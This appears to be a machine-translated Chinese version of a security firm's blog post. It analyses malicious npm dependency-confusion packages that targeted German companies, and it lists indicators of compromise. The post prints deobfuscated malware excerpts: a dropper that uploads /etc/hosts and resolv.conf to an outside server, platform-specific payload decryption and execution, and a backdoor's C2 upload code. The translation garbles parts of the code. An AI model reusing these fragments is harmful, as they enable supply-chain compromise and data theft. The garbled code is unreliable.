Npm供应链攻击以危险的后门恶意软件瞄准德国公司

JFrog安全研究团队发现并迅速披露了针对主要工业组织的新的npm恶意软件包

针对德国公司的npm供应链攻击

5月11日更新:在这篇博文发表之后,一家名为“白色代码”的渗透测试公司承担责任对于这种依赖混淆攻击

JFrog安全研究团队不断监测npm和PyPI生态系统中可能导致广泛传播的恶意软件包软件供应链攻击.上个月,我们共享了广泛的NPM攻击针对Azure npm包的用户。

在过去的三周里,我们的自动扫描器发现了几个恶意包在NPM注册表中,都使用相同的有效负载。与npm存储库中发现的大多数恶意软件相比,这个有效载荷似乎特别危险:一个高度复杂、混淆的恶意软件,充当后门,允许攻击者完全控制受感染的机器。此外,这个恶意软件似乎是内部开发的,而不是基于公开可用的工具。

我们开始研究这个恶意软件,以了解它的目标和功能。在这篇博文中,我们将分享我们的技术分析结果,以及对潜在攻击者的看法。

新的npm供应链攻击的目标是谁?

在我们对检测到的恶意软件包中的有效载荷进行研究时,我们惊讶地发现,这种攻击似乎高度针对德国的一些知名公司。

我们发现了四个“维护者”,它们被创建来托管恶意软件包:

  • bertelsmannnpm
  • boschnodemodules
  • stihlnodemodules
  • dbschenkernpm

我们立即向npm维护者报告了所有与“bertelsmannnpm”、“stihlnodemomodules”和“dbschenkernpm”相关的软件包。在撰写本文时,“boschnodemomodules”已经从注册表中删除。

具体来说,这些包是在创建4小时后报告的。

从这些维护者的名字和所选择的包的名字来看,这似乎很可能是针对各自的德国工业公司的依赖混淆攻击。

Bertelsmannnpm

此外,我们发现这些“维护者”只提供了几个包,而且包的名称非常具体。这可能表明攻击者进行了早期侦察,以了解被攻击公司的私有存储库中有哪些包——这是成功进行依赖混淆攻击的关键一步。

所有与“bertelsmannpm”相关的软件包都在5月3日(我们报告的第二天)被删除,“dbschenkernpm”软件包在5月11日被删除,“stihlnodemomodules”软件包到目前为止仍然存在。

请注意,“stihlnodemomodules”包目前在0.0.0版本上,不包含恶意代码,但我们认为以前的版本(1.0.0)包含与所有其他报告的包相同的恶意负载,由于包的时间戳和命名约定。

恶意软件是如何工作的?

在对一些恶意有效载荷进行初步分析后,我们意识到它们属于先前报道的“gxm-reference-web-auth-server”恶意软件包的同一恶意软件家族,并对其进行了彻底分析在Snyk的博客文章中.我们将在这里解释一些恶意软件的高级细节,更多的细节可以在Snyk的帖子中找到。

该恶意软件由两部分组成——一个滴管和一个有效载荷。

滴管

滴管将受感染机器的信息泄露到恶意软件的“遥测”服务器(默认托管在www.pkgio.com)通过HTTPS和DNS。该信息包含受害者的用户名、主机名以及“/etc/hosts”和“/etc/resolv.conf”文件的内容。

Topostfiles =['包。', '/etc/hosts', '/etc/resolv.conf'] for (var file_path of topostfiles) {if (fs. existssync (file_path)) {contents = fs. conf .conf')readFileSync(file_path, {encoding: 'base64'})尝试{axios({method: 'post', url: 'https://www' +遥测+ '/' + file_path, data: {data: contents}, httpagent: agent, maxBodyLength: Infinity, maxContentLength: Infinity,})。Catch (function (_0x1791c9) {})} Catch {}}}

清单1。文件漏出

在泄露了这些信息后,dropper解密并执行恶意负载。根据配置的不同,有效负载可以是基于javascript的有效负载,也可以是为目标平台编译的本机二进制文件:

const _0x340385 = spawn('node', ['obfusc.dec.js'], {cwd: process.cwd(), detached: true, stdio: 'ignore', windowsHide: true,})

清单2。Javascript有效负载执行

const _0x3b87fe = spawnSync(path.join(process.cwd(), 'win.dec.js'), {cwd: process.cwd(),})

清单3。本机有效负载执行

的有效载荷

如前所述,有效载荷是动态的,不同版本的恶意包可能带有不同的有效载荷。然而,在我们观察到的恶意包中,我们总是看到相同类型的基本Javascript有效负载(“obfusc. encs .js”)。

有效负载是一个后门,一个HTTPS客户端,它在启动时将自己注册到硬编码的C2服务器,并从它接收命令。有效负载似乎没有内置任何持久机制(重启后不会持久)。

uploaddatastring = JSON.stringify(uploaddata) uploaddataencrypted = encrypt_string(key, iv, uploaddatastring) _0x2356ae({method: 'post', url: c2c_domain + '/callbackupload', data: {identity: guid, data: uploaddataencrypted,}, headers: {'User-Agent': useragent}, httpagent: useragent, maxBodyLength: null, maxContentLength: null})

清单4。HTTPS通信

一旦与C2服务器建立了通信,有效负载就可以接受以下命令:

  • download - payload将从C2服务器下载一个文件
  • upload—负载将在端点“callbackupload”处将文件上传到C2服务器。
  • eval -计算任意Javascript代码
  • 执行-执行本地二进制文件
  • 删除-终止进程
  • register—在C2服务器上初始注册负载

可配置参数

  1. dropper使用AES-256算法和硬编码密钥解密有效载荷。每个包都有自己的一组Key/IV,用于有效载荷解密和通信加密/解密。这意味着攻击者通过使用构建器自动生成每个恶意软件实例:
    key = 'UisUZAfOwYrsvlgehZGhOUAGwUpjGQxk' iv = 'HVrHfWdcOPANisKZ' if (process.platform.includes('darwin')) {if (fs.existsSync('mac. encs .js')) {contents = fs.readFileSync('mac. encs .js', {encoding: 'base64'}) decrypted = decryptstring(key, iv, contents) fs.writeFileSync('mac.dec.js', decrypted, {encoding: 'base64', mode: 493,}) const mac_process = spawnSync(path.join(process.cwd(), 'mac.dec.js'), {cwd:process.cwd(),})} else {startdefault(key, iv, _0x2277ed)}} else {if (process.platform.includes('win')) {if (fs.existsSync('win. cwd .js')) {contents = fs.readFileSync('win. cwd .js', {encoding: 'base64'}) decrypted = decryptstring(key, iv, contents) fs.writeFileSync('win.dec.js', decrypted, {encoding: 'base64', mode: 493,}) const _0x44b0a2 = spawnSync(path.join(process.cwd(), 'win.dec.js'), {cwd: process.cwd(),})}}

    清单5。Key/IV机制和操作系统相关的有效载荷

  2. 该恶意软件针对所有流行的平台和默认的(多平台)有效载荷构建。我们期望构建器允许选择攻击的目标平台:

    // Default (Javascript) contents = fs.readFileSync('obfusc. encs .js', {encoding: 'base64'}) decrypted = decryptstring(_0x3ef2f5, _0x2c36a8, contents) fs.writeFileSync('obfusc.dec.js', decrypted, {encoding: 'base64'}) // MacOS if (process.platform.includes('darwin')) {contents = fs.readFileSync('mac. encs .js', {encoding: 'base64'}) decrypted = decryptstring(key, iv, contents) fs.writeFileSync('mac. decs .js', decrypted,{…// Windows if (process.platform.includes('win')) {if (fs.existsSync('win. encs .js')) {contents = fs.readFileSync('win. encs .js', {encoding: 'base64'}) decrypted = decryptstring(key, iv, contents) fs.writeFileSync('win.dec.js', decrypted,{…// Linux if (fs.existsSync('lin. encs .js')) {contents = fs.readFileSync('lin. encs .js', {encoding: 'base64'}) decrypted = decryptstring(key, iv, contents)…
  3. 有效载荷包含引擎参数发送到C2服务器,作为对/注册端点。该请求包含参数“发动机”:“nodejs”,从中我们可以推断有效负载也可以被编译成其他语言。

利用公众混淆的奇怪决定

恶意软件中唯一没有自定义编码的部分是恶意软件的混淆。滴管和有效载荷都使用无处不在的混淆javascript-obfuscator包:

函数a0_0x1cc7(_0x59e1fe, _0x2cda1e) {const _0x1da327 = a0_0x1da3();Return a0_0x1cc7 = function(_0x1cc793, _0xcebe14) {_0x1cc793 = _0x1cc793 - 0xd1;Let _0x13320c = _0x1da327[_0x1cc793];返回_0x13320c;}, a0_0x1cc7(_0x59e1fe, _0x2cda1e);}……Const semver = require('semver'), OS = require(' OS '), fs = require('fs'), axios = require(a0_0x514c75(0xda)), crypto = require(a0_0x514c75(0x14b));Var DNS = require(a0_0x514c75(0xdd)), path = require(a0_0x514c75(0x146));遥测= '.pkgio.com';const https = require('https'), {spawnSync} = require(a0_0x514c75(0xf4)), {spawn} = require(a0_0x514c75(0xf4)), mypackage = '@bertelsmanncollaborationplatform/…

清单6。被" javascript-obfuscator " (" confsettingsaaa.js ")混淆的恶意代码

对于恶意软件作者来说,这是一个非常糟糕的决定,因为:

  1. 可以很容易地对公共混淆器进行“签名”,然后对混淆后的代码进行标记
  2. 公开可用的工具这可以消除众所周知的混淆

事实上,安装后命令运行被混淆的Javascript是恶意npm包的一个非常强烈的迹象:

清单7。包中。其中一个恶意包的Json

清单7。包中。其中一个恶意包的Json

攻击者——恶意威胁参与者还是渗透测试者?

目前,我们不确定谁是这些供应链攻击的幕后黑手(尽管我们正在调查这个问题,并有一些具体的线索)。

一方面,我们有很强的迹象表明这是一个老练的真正的威胁行为者:

  • 所有使用的代码都是自定义的
  • 这种攻击具有很强的针对性,并且依赖于难以获取的内部信息(私有包名)。
  • 有效载荷是极其恶意的,并且包含在简单测试中不需要的特性(例如动态配置参数)。
  • 上传的包没有描述或任何迹象表明它们被用于渗透测试目的

另一方面,一些指标可能表明这是一个(非常激进的)渗透测试:

  • 中创建的用户名npm注册表没有试图隐藏目标公司
  • 使用的混淆器是一个公共的,可以很容易地检测和逆转

附录A: ioc

用户代理 npm/7.24.2 node/v12.22.7 Linux x64/false
HTTPS路径 * / callbackupload

* / callbacknode

* /注册

* / updateinfosnodejs

https://www.pkgio.com/

DNS * .pkgio。com

cdn [] game-note。com

* .game-note。com

知识产权 82[196年][]7。23

82[196年][][]238

电子邮件 bertelsmannnpm@protonmail.com
boschnodemodules@protonmail.com
dbschenkernpm@protonmail.com
stihlnodemodules@protonmail.com

与JFrog安全研究保持同步

关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity

使用JFrog平台保护您的软件供应链

了解如何利用JFrog平台通过多层安全保护您的组织免受依赖混淆攻击。

管理如何解析您的软件依赖项,以及使用哪些包进行提取JFrog Artifactory.自动检测恶意软件包在您的软件与自动扫描使用JFrog Xray SCA工具